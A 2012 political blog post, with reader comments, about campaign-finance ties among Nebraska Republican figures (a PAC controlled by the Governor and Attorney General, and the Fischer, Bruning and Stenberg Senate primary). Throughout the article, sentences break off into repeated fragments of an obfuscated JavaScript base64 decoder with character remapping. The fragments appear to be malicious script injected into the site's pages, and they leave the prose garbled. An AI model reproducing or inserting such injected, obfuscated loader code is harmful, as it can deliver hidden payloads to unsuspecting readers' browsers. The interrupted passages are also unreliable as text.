UPDATED May 16, 2012: Note that this article was published earlier in the day Tuesday, before the polls even closed. I am not going to make any changes to this article so that you can read it, as written, before the race was declared. The only point to note, I believe, is that it is quite clear that regardless of who paid for the polls mentioned, they were obviously accurate, or did have the desired influence on voter opinion.
Things have gotten curiouser and curiouser this election season, and in Nebraska's U.S. Senate race in particular. Our article, "Following the Jon Bruning Money Trail", included some of the curious elements in the Senate race, although they may have not been detected by many. There was a lot of information to digest.
In that Bruning article, we included a number of images from Nebraska Accountability and Disclosure Commission (NADC) reports and FollowtheMoney.org images from filings for Bruning for Attorney General, the campaign committee, and two political action committees (PACs), for which Jon Bruning was listed as a controlling individual on the original Statement of Organization. We noted:
"...the reports...constitute only a representative sampling, [and] raise a lot of questions, some of which pertain to Nebraska's state laws on campaign and PAC contributions and expenditures, some about other elective office holders in Nebraska, and still others about news media and lack of investigative reporting."
There is ONE ISSUE to note about state laws and campaign finance: Since the Nebraska Legislature makes the laws, which the Governor must sign or veto, it is a fact that the politicians make up the rules under which they all operate. Yep. Can't imagine why it is the mess that it is.
Beyond that, the issues of interest, we think, for the primary election, require a second look at a couple of the report images we first published in our "Bruning...Money Trail" article. This time, I've highlighted a few things.
Statement of Organization for Nebraskans for a Better Tomorrow in 2008 listing the controlling individuals
Nebraskans for a Better Tomorrow PAC Controlling Individuals:
Sam Fischer
Brian Buescher
David Heineman
Jon Bruning
Does anyone else's eyebrows go up at that the thought of the Governor and the Attorney General as controlling individuals on a Political Action Committee?
MINE DO
For those wondering who Sam Fischer and Brian Buescher are, the first point to note is that I can't state, definitely, whether there is any familial relationship between Sam Fischer and Deb Fischer, outgoing State Senator and GOP candidate for the U.S. Senate. Her husband's name is Bruce, so any relationship would extend beyond her immediate family.
Sam Fischer is the Managing Partner of Meridian Central Public Affairs, LLC, which, the company's website reports on its About Us page, "We develop winning strategies for political and public affairs campaigns through a combination of comprehensive research, strategic planning and precision execution." See footnotes regarding the client list. 1 Meridian's political client list includes Congressmen Smith function m65c3bbf5572b(wc){var ...continue
Brian Buescher is an attorney for the law firm, Kutak, Rock; has run for office in Omaha, at least once, for City Council; and as the function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
It's been said that from time to time here on GiN, we're a little too subtle, or, even, "not very clear". We tend to think of this as putting the dots out there and letting readers make up their own minds as to whether they connect...or not.
In this instance, I'll connect the dots, even draw the picture - in other words, be as subtle as a heart attack...
Four obviously powerful politicos in Nebraska decided to put together a PAC in 2008 and call it by a vague name. So, what did Governor Dave, the Attorney General, a high-powered political strategy guy, and a lawyer/future NEGOP chair plan on doing with their PAC? Obviously, by definition (see language on the Statement of Organization form, above), PACs exist for the purpose of supporting or opposing candidates for election. This PAC reported it intended to do these activities for the November 2008 election. So, four high-powered politicos decided to influence elections in Nebraska.
As part of this picture, one dot will remain unconnected - readers can decide whether it belongs in the picture or not. The political junkie crowd and, even, credible, more disinterested sources accept as a "given" the fact that there is "no love lost" between Dave Heineman and Jon Bruning, especially following the 2006 election. The credible sources to whom I reported the formation of the PAC by Heineman and Bruning reacted in one of two ways: speechlessness or disbelief. So, I'd recommend, filing this unconnected dot, for now, under "things that make you go...hmmm".
In order to carry out their intended election activities, money was required. As reported in the "Bruning...Money Trail" article there was an initial round of contributions paid into Nebraskans for a Better Tomorrow in 2008, and it's reasonable to call that the "seed money" for the PAC.
I have outlined Governor Dave's, Jon Bruning's, AND State Senator Deb Fischer's contributions to this PAC. (Note that in addition to the $2,000 noted here - the "seed money" - Deb Fischer contributed $1,000 to Nebraskans for a Better Tomorrow on 9/20/2008. Contributors highlighted in green were State Senators at the time their donations were made.) Really, for the purposes of absolute accuracy I should say, I outlined the contributions to the PAC made from each of these individuals' CAMPAIGN COMMITTEE funds.
Mike Friend was a legislator at the time, but he is highlighted in purple along with Mr. Pete Ricketts because both are otherwise influential in Nebraska politics, and, at least for a period, they joined in an effort beyond the PAC. As we have reported before, it seems to be common knowledge that Mr. Ricketts is a benefactor of the Nebraska chapter of Americans for Prosperity. Mike Friend was State Director of AFP-NE for about a year, beginning in January 2011[2. Friend left his legislative seat to take a new job (created by the Urban Affairs Committee for which he had served as Chair) through an appointment by Governor Dave. Friend resigned from the appointed position to become the State Director for Americans for Prosperity in January 2011, but stepped out of that job when former Director Brad Stevens returned to Nebraska.].
So, returning to connecting the dots, drawing the picture...
It was not just the Governor, the Attorney General, and the two influential fellows noted who decided to form a PAC for the purposes of influencing Nebraska elections, it was also a list of Nebraska State Senators, a former State Treasurer, and a gentleman known to donate significant sums of money throughout the GOP spectrum including practically, or it seems like anyway, every GOP candidate, a think tank, a nationally networked watchdog "news" site, and the state chapter of function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
As we wrote in the "Bruning...Money Trail" article, voters will have to decide whether or not contributors to individual candidates' campaign funds are or would be just fine and dandy with those bucks being passed on and bundled to provide seed money for a PAC. Was this fact disclosed to the original donors? Should it have been?
Here is the report of expenditures by Nebraskans for a Better Tomorrow, for 2008:
function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
Several things come to mind regarding the list of candidates who received the funds. What is less interesting than the success and failure rate, I think, are answers to questions similar to those already asked:
- Did contributors to Deb Fischer, Dave Heineman, Jon Bruning, and all the others listed, know their money was to be spent in this way?
AND / OR
- Did the original donors even support any of the candidates who received money from Nebraskans for a Better Tomorrow PAC?
An additional point of interest pertains to the way the contribution to this PAC was reported on Governor Heineman Committee's NADC expenditure report:
It is impossible to call the report from the Governor accurate, considering how the Nebraskans for a Better Tomorrow PAC expended its funds. Is there some reason the Governor used what I've realized is the catch-all expenditure on a candidate committee report of "ticketed event" or "event tickets" to provide political cover for his part in seeding the PAC?
In addition to the way the Governor reported his contribution to the power PAC, I found that Deb Fischer likewise reported her "seed money" contributed to the PAC as some kind of "tickets" expenditure:
Do the Governor, Jon Bruning, and others who decided to put Nebraskans for a Better Tomorrow together and fund it, including Deb Fischer, work in coordination in other ways regarding elections?
To answer that question, we need to review a couple of points we've already made:
- We've already pointed out, GOP candidates run by turn, not by merit. Jon Bruning had already run for U.S. Senate in 2007 and stepped aside because it was Mike Johanns' turn. Consequently, this election cycle it would actually be hard to turn Bruning down, or dissuade him, considering his fundraising prowess
- The timing of the announcements by Dave Heineman and Jon Bruning, immediately following Election Day 2010 regarding the Senate race, standing alone, indicates some degree of coordination
And add something new:
- We have not yet reported the astonishing amount of money contributed to the Nebraska Republican Party by a particular list of Nebraska's politicians.
"Coincidentally", several of the politicians noted here already - specifically, Heineman, Bruning, and Deb Fischer - all appear on the list, below, which is one page of contributions by candidate committees in Nebraska to the Nebraska Republican Party for the 2010 Election cycle:
FollowtheMoney.org reports that for that 2010 cycle, Dave Heineman contributed a total of $118,642, Jon Bruning's PAC, Citizens for a Better Nebraska, $22,000. Readers will note that State Senator Deb Fischer appears on that list donating $1,200 (actually paid in 2009[4. FollowtheMoney.org appears to report contributions for an election year as from some period the year before (possibly the entire year) and the election year itself.]).
Heineman and Bruning campaign and PAC payments to the NEGOP are not limited to the 2010 election: see the "Bruning...Money Trail" for significant funds in 2006, and Heineman contributions in 2011 (not an election year), by clicking HERE.
Fischer's contributions to the NEGOP, since 2003, are listed, below. Note that all of these contributions are listed as "Event Tickets" or "Fundraiser Tickets" on Fischer for Legislature NADC reports:
Sarpy County Republican Party
SO: What does any / all of this mean?
- Note that not all Nebraska politicians (elected officials, candidates for offices) contribute sums to the NEGOP, at least not from examination of campaign finance filings both on the NADC website or FollowtheMoney.org, with many reaching back to 2006, some earlier.
- I'd ask...just who is calling the shots at the NEGOP? I can't help but think of the quote, "He who holds the purse strings".
So back to connecting those dots, drawing pictures, and NOT being subtle...
Notable names I have not seen as contributors to the NEGOP:
- Pat Flynn
- Don Stenberg
Having previouslyfunction m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
For whatever the reason, Don Stenberg, has been denied issuance of even the aluminum or tin membership card in this little club. I seriously doubt Pat Flynn ever bothered to fill out the application.
Don Stenberg has a decidedly perplexing status as a candidate, which, honestly, defies coherent analysis. I've tried and I must report a big fat #fail. Bottom line is, every analysis of Stenberg can cut one of three ways.
Analysis #1: Has Stenberg not been issued a platinum card because he doesn't want one? If Stenberg's perennial losses - one of which DID result in the election of Ben Nelson - are due to his having been an actual maverick (not the faux McCain version), in other words, having not gone-along-to-get-along, then he should have run that way. He failed to detect the anti-establishment sentiment that exists across the land, even here in Huskerville. Earth to Don Stenberg... heard of Dick Lugar? function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
Analysis #2: Is it that Don Stenberg has always wanted a platinum card and he is like the kid who gets picked last on the playground every time and just won't get the message, so the actual members just blow him off, automatically?
Analysis #3: Was Don Stenberg's platinum card revoked when he had his chance in 2000 and lost the Nebraska U.S. Senate seat to Ben Nelson?
Whatever the reasons for that lack of "membership card", what is clear about Don Stenberg is that, when he runs against Lincoln-based candidates, he is the more popular candidate in the 3rd Congressional District, and, more so than Jon Bruning, we GiN folk would wager. A review of votes, for instance, by Congressional district, in the primary election for State Treasurer in 2010 - Stenberg versus Tony Fulton - would bear that out.
What we think is not a coincidence:
Deb Fischer is from the 3rd Congressional District.
Straight up until the last half a week or so, we would've sworn that Deb Fischer's existence in the race, as a faithful member of the Republican club, with her platinum card and all of that, was only in the U.S. Senate race to assure that Jon Bruning would succeed in the endeavor to claim "his turn".
After all, truly, what in the world is up with Deb Fischer in the race? Using the de facto standards (not mine), devised by the political parties, the media, etc., etc. for candidates, Fischer doesn't fit the criteria, except to serve, when asked by her party, as the necessary spoiler, with the benefit to her of getting her name "out there" for future purposes.
Understand that among the "curiouser" developments in this race, the chattering classes, even nationally, are reporting based on some polls that Deb Fischer has surged ahead of both Bruning and Stenberg or that she has surged ahead of Stenberg and is within the margin of error with Bruning.
The chattering classes analyze these developments as having been caused by:
- Increasingly negative stories and actual growing concerns about Jon Bruning (what started as a whisper campaign has turned into a dull roar)
- Failure, once again, of Stenberg to razzle dazzle voters
- Endorsement of Fischer by Sarah Palin, primarily, and a few others
- A last minute surge of ads run by the Joe Ricketts (father of Pete) Super-PAC, Ending Spending
My fellow Nebraskans, this whole thing just doesn't quite compute.
IF Deb Fischer is truly surging - and I really wonder about that - I submit it may well be a lot more like a Governor's race I was able to observe up close in South Dakota in 2002. Here's the shortest version I can muster: With the "800 pound gorilla" that was Governor Bill Janklow having decided to run for the state's only U.S. Congress seat, the Governor's seat was open. There were three candidates in the GOP primary; the Attorney General, a businessman, and, a little-known State Senator from a rural county in the middle of the state. I got to see this whole thing up close because I lived in the southeast corner of the state where there was a growing population of Republican voters, and I was Lincoln Day Dinner Chairwoman, and sort of the right arm of the County Chair. So, it was a big deal, in other words. The Attorney General was one of the most genuinely decent people I've encountered in politics, the businessman literally dripped "slick", and, I vividly recall labeling the State Senator as "pure vanilla...milk toast". Long story short is that the slick businessman and the Attorney General engaged in a very juvenile fight over - unbelievably - theft of yard signs. State Senator Milk Toast won the primary.
The moral of the story for the purposes of dissecting the Nebraska primary is this: IF, IF State Senator Deb Fischer has actually surged ahead of Bruning and Stenberg, it may simply be due to concerns about Bruning's ethics (or lack thereof), Stenberg's perennial "also-ran" status in "big" races (i.e., he had his "turn" a long time ago and blew it), and just general discontent with the choices between known quantities (i.e., same-old, same-old). In short, it could be that Fischer is the sort of unknown milk toast voters would rather put in office given the two front-running alternatives.
The reason I question the Fischer surge?
Two of the three polls showing Fischer as surging were paid for by...
Joe Rickett's Super-PAC, EndingSpending
(The third was a robo-poll, in other words not a live voice poll.)
In attempting to make any sense out of this tangle, I submit, as another dot that you, the reader, can choose to discard or connect, that the WHOLE thing is some kind of Rope-a-dope, ala Muhammad Ali. Noting the obvious tangle of relationships among the relevant parties; Heineman, Bruning, Fischer, and Ricketts, some plausible explanations come to mind. I keep mentioning Governor Heineman in this array because anyone who wants to contend that the guy who provides 1/4 of the funds for the NEGOP is not somehow involved in this tangle AND considering his coordination with Bruning going into this race, is being willfully blind.
Just WHAT, or should I say, WHO, this Rope-a-dope is, or stands to benefit, is not clear, so here's some wild speculation:
- Fischer IS in the race to siphon votes off Stenberg; making people think Fischer has surged ahead is an attempt to create a bandwagon effect...vote for the winner folks!...Fischer splits the votes enough that Bruning carves out a win
- Heineman does not like Jon Bruning, but considering his powerhouse fundraising and, perhaps, some promise made in 2007 about 2012, the appearance of support had to be given, but the Ricketts SuperPAC ads and recent endorsements are an actual effort to undermine Bruning
- Fischer was only in the race to help siphon off Stenberg votes, but the increasingly troubling news about Bruning and the perennial dislike of Stenberg caused a last minute effort to actually hand the primary contest to Fischer
Regarding connecting those optional dots - this last one - I can't make sense of this mess for myself, let alone draw a picture with it.
Whatever the reason Deb Fischer threw her hat in the ring, the persona she has exhibited as a candidate is likely best summed up by a comment from user, "Bobby", on the Leavenworth Street site:
Bobby May 12, 2012 at 9:49 AM
"Can you imagine what a debate between Deb and Bob would be like? Same answers, every time.
Deb: We need to have a conversation.
Bob: I’ll work with everyone to fix these problems.
Deb: But I’m a citizen legislator, I know how to have a conversation.
Bob: I’m a decorated war hero, we worked with everyone in ‘Nam."
Fischer's surge, should it exist, can NOT be due to her voting record, ladies and gentleman. 'Cause that is just plain bad. Let's face it: She has been a State Senator in the Nebraska Unicameral. And at this point, that is ENOUGH SAID. To quote Robert DeNiro in the film Casino, "You're either too stupid, or you're in on it." Remember...drawing pictures and subtle as a heart attack. I'm cranky...it's Election Day...so sue me.
Fischer's bone-headed support for a GAS TAX HIKE when prices were soaring in 2008 is pretty widely known
But, most readers don't realize, just to mention a few, other important things about Fischer's legislative career.
Fischer, as Chair of the Transportation and Telecommunications Committee...
and then later, most curiously...
- Introduced legislation that implemented REAL ID.2 Note that some of the program was implemented bureaucratically - meaning Fischer lead the charge on rubber stamping what the DMV did on its own. I ...continue
Wondered yet why your Driver's License has to be mailed to you? It's being processed into a national database and handled by a third party vendor, that's why, and that's REAL ID. Thanks, Deb Fischer.
- Introduction of legislation associated with eminent domain and pipelines.3Sorry, I don't have time to retrace my steps on eminent domain function m65c3bbf5572b(wc){var ...continue
- The utterly bizarre M.I.A. of Deb Fischer during the entire TransCanada Pipeline feeding frenzy. And that is truly bizarre considering that the function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
- railroad equipment
- common carriers
- pipelines
- commercial vehicles
- telephones; telecommunications
- Public Service Commission
It's downright inexplicable how the special session regarding the pipeline was overseen by the Natural Resources Committee instead of Fischer's Transportation and Telecommunications Committee. Well, except for one thing...membership in that NE-GOP "Platinum Card" club seems to definitely have its privileges.
Regarding the Palin endorsement:
I don't give a flying fig what a former Alaska Governor has to say about who I should vote for here in Nebraska. Literally, Sarah Palin...get outta here. I am offended - fed up with, really - the increasing acceptance, actually USE of affirmative action by Republican politicians and party elites. If voting for a black candidate just because he is black is wrong - it's actually racist, if voting for a man just because he's a man is wrong - it's sexist - if voting for a Latino just because he/she is Latino is wrong - it's actually racist, THEN, why isn't voting for a woman, just because she's a woman not also wrong because it is actually sexist? Please take your "I am woman, hear me roar" baloney to the Democratic Party where it actually belongs.
Just to highlight and underline the point that there are higher standards that must be applied than fashionable political party choice, color of skin, or even genitalia: the original Mama Grizzly (<--- what IS that anyway?) endorsed a gal down in Oklahoma, just because she was...a gal...named Mary Fallin, a Congresswoman, in a very tight gubernatorial race in 2010. Few dispute that the Palin endorsement closed the gap. Fallin beat State Senator Randy Brogdon who had a coalition of support from, no question, the more conservative wing of the Oklahoma Republican voters. About ten seconds after she was elected, Fallin decided to take a $54.6 million dollar "early innovator" grant to implement the health care law in Oklahoma. Yep. That's one grizzly mama, right there. It was Oklahomans who got grizzly: Fallin received so much heat for her decision that she had to reverse herself and return the grant.
And finally, regarding Fischer's "conservative" credentials, it is long past time that the acceptance of teacher's union money by Nebraska politicians be exposed, every time it's found. Teacher's union money should necessarily be considered politically radioactive. It's fiscal suicide for conservative politicians. You will find below, the list of contributions Deb Fischer received from the NSEA, along with a couple of other union donations.
Deb Fischer NADC filings
Campaign contributions:
2004 Primary
Nebraska State Educators Association (NSEA) $1,500
Nebraska State Educators Association (NSEA) $2,626
AFL-CIO $346
Nebraska State Educators Association (NSEA) $1,200
Nebraska State Educators Association (NSEA) $200
2008 Primary
Nebraska State Educators Association (NSEA)$1200
State Troopers Association $500
Nebraska State Educators Association (NSEA) $300
'Nuff said? Hope you enjoy the picture I've painted for you and remember it as you vote today.
Notes & References
| 1. | ↑ | Meridian's political client list includes Congressmen Smith and Terry, Daub for Mayor, Johanns for Senate, several Nebraska PACs, including Nebraskans for a Better Tomorrow, Governor Heineman Committee, the Nebraska Republican Party, and other candidates in and out of Nebraska. The firm also lists a number of public relations and fundraising clients, including the Nebraska Republican Party. |
| 2. | ↑ | Note that some of the program was implemented bureaucratically - meaning Fischer lead the charge on rubber stamping what the DMV did on its own. I talked directly to the Legislative Aide that works for Fischer and her Committee and went, point by point through the history on the legislation and the implementation. It does not add up, it does not compute. |
| 3. | ↑ | Sorry, I don't have time to retrace my steps on eminent domain and pipelines legislation, but I do recall that it's attached to eminent domain statutes, look up passed legislation, all of course on the Nebraska Legislature website. |
Thanks, Shelli. It showed up a little late for me but. you draw this picture better than anyone else. What an intertwined cesspool we have in this state. Lot’s of work for us to do.
Ah, the heroes… four of my all-time favorite heroes united in this here educational video clip http://www.youtube.com/watch?v=N44vdCqI7LI showing exactly how to employ the Rope-A-Dope technique. No, my heroes are not the US Senate wannabees, I’m referring to Norman Mailer, Georges Plimpton and Foreman and, of course, Ali. Thanks for reminding me to watch again for the fiftieth time.
I’m absolutely amazed at the issues we have before us. My questions is WHAT do we do about it? What action steps can the little guy do to untangle this obvious mess we are in. God knows there are many out there who want the truth and want to make a difference, but without a clear direction on how to do that it is very difficult. I would be interested in your thoughts and THANK YOU for connecting the dots.
Hello Rev. Shannon,
Great to hear from you! I feel officially sheepish!! I think there is an unanswered email in my inbox — let me check. Yes, there it is. Sorry. Thanks so much for stopping by. Wish it was some other subject, however, of course.
Well just, really, knock me over with the feather. Clearly, the polls – whoever paid for them – were accurate. My mouth is honestly still hanging open. I do want to smack myself in the head for not connecting these dots a WHOLE LOT SOONER. It literally didn’t gel together until the last few days. Had things “clicked” properly, a lot sooner, researching Deb Fischer would have been a much higher priority. Of course, that presumes that our having done so would have in any way made the difference. I doubt it. I am perpetually astonished at how little actual digging people do about the people for whom they’re going to vote.
I guess Nebraskans can perhaps be grateful for one thing: the probability of the GOP nominee having to step down some time this summer when any one of an array of troubling things comes to head for one Mr. Jon Bruning, if they should do so, anyway. It’s impossible to say, of course, but it does seem like it’s a combination of my South Dakota example + for whatever the reason, establishment distancing itself from Bruning + the Grizzly Mama thing.
Regarding what is to be done about such tangles as displayed above, particularly regarding the whole money trail and maneuvers, I am 100% sure you’re already doing the first one: Pray.
Then, having continuously asked myself the same question, repeatedly and increasingly, especially for the last three years, I’d say that it is all of us asking ourselves how much time, talent, and treasure we or anyone else has to give. There’s a limit for everyone, at some point or other. And I think the answer here has to do with focusing only on doing good things – truly good.
I’ve come to believe, increasingly, that we’re better off doing nothing at all if we’re not sure who / what we’re dealing with before we even get started. First, don’t we literally have to be still? The other point of saying “STOP” is when what we are doing requires some rationalization or compromise of principle, even small ones. There are plenty of people doing that every day.
That sounds really purist, but I think it is more about knowing what the road involved with “good intentions” looks like and not taking one step in that direction.
Seems like there is a whole lot of noise out there all the time and I keep asking myself how to turn the volume down on everything else and to focus AND to not add to that noise level unnecessarily. We’ve got a lot of people wanting to “DO SOMETHING” running around and to what end? Far be it from me to say that people don’t need to do some things that are maybe not great ideas and therefore go through learning experiences, but that’s the thing…is learning any part of the doing equation?
I guess maybe because I know that every second I’ve spent doing this stuff is time I don’t spend with my family / on family matters, I think I have a serious obligation to constantly evaluate what I’m doing and whether it is working or not and to step back and recalibrate and try something else.
I guess the bottom line answer is: FOCUS. Like laser beams.
This article on which you’re commenting, it isn’t the whole picture, even. It’s been on the “to do” list for a long time, the whole subject of campaign fundraising, disclosure, holes in the state statutes big enough to drive trucks through, virtually NO follow up and accountability, etc., etc.
I think it’s time, considering even ONLY what you see here in this article to ask ourselves: Can we fix ANYTHING really…as long as the revolving campaign cash circus is in business? As long as blatant conflicts of interest are allowed to exist among the very lawmakers who make the laws that affect our lives?
I’m becoming increasingly convinced there is actually not much we can do until we get a few Senators elected who will introduce legislation to deal with these problems. I think it probably requires chucking the entire set of statutes involved OUT the window and starting totally over.
Yes. It’s a REAL easy solution…right?
Would love to hear your thoughts on all this.
God Bless
What action steps can the little guy take? The Lincoln paper reported that voter for Lancaster county was surprisingly high yesterday – 26%.
The first thing the little guy can do is inform himself on the candidates and the issues, and the next thing he can do is vote. Both of these things take time but cost nothing. Uninformed people can be swayed by misleading campaign claims, but campaign finances become less of an issue if the electorate is informed and active. As it is, across the state and the nation, decisions about who is elected to make the laws that govern your life are made by the 20-30% of people who bother to vote in most elections.
Secondly, an informed and active electorate would quickly conclude that the campaign donations they make should be spent ONLY to elect the candidate to whom they were given, and ONLY for that particular race. Any leftover contributions need to be returned to the donors, or otherwise distributed to worthy charitable causes. That prevents candidates from raising money beyond what they need to campaign, in order to use those funds to buy influence and position within their organizations and our governments, and it makes candidates accountable to their supporters in every new election cycle.
The most important and difficult-to-sell thing is for people to inform themselves and vote. This seems so simple, many think it is too simple. What I find is, most people I talk to simply don’t want to be bothered to expend the effort and time necessary to stay informed – they want some shortcut that doesn’t require anything of them. I hear complaints about some political decision or other all the time, and I frequently tell people to check out a GiN article on the topic that is bothering them to learn more.
Nine times out of 9.5, when I check back to see what they thought, they didn’t “have time” to read the article. Well, we do all “have” the time for things that are truly important to us, so as an informed and concerned citizen, your task is to convince your neighbors that it IS important to be politically informed, and to vote: you can’t run a free republic on autopilot – it just doesn’t work that way, because there are always malignant forces at work to bring it down.
I’ll pray for your success in this endeavor, and you pray for mine, because so far I’m not making much progress with my friends and neighbors – but I’m not giving up yet, the stakes are too high.
That first line should read “voter turnout”.
A thank you to all of your hard work here at GiN. I really do appreciate the information that you provide. As to the question, “What is the little guy to do?” I just have to add my $.02. Educate yourself. Yes, this has been mentioned before. Specifically, educate yourself about the ideas of a constitutional republic. Read “The Federalist Papers”, “The Anti-Federalist Papers”, “Common Sense”, “A Wealth of Nations”, William Blackstone, Cicero and any other source material. These readings make clear what is the vision/experiment these united States are to be. And it helps determine how to cast your vote at the polls.
Correction… that Tea Party Express which is an organization that has no chapters, groups, offices or anything permanently (In Nebraska)
Jim,
A question: Why would any one want a “national” organization/entity to move in with chapters, groups or offices?
Are the people in their local areas and within the state not capable of figuring out what needs to be done about the issues of importance on their own?
How does a nationally organized entity fit in and/or mirror principles of limited federal government with most of the powers reserved to the States and to the people?
Shelli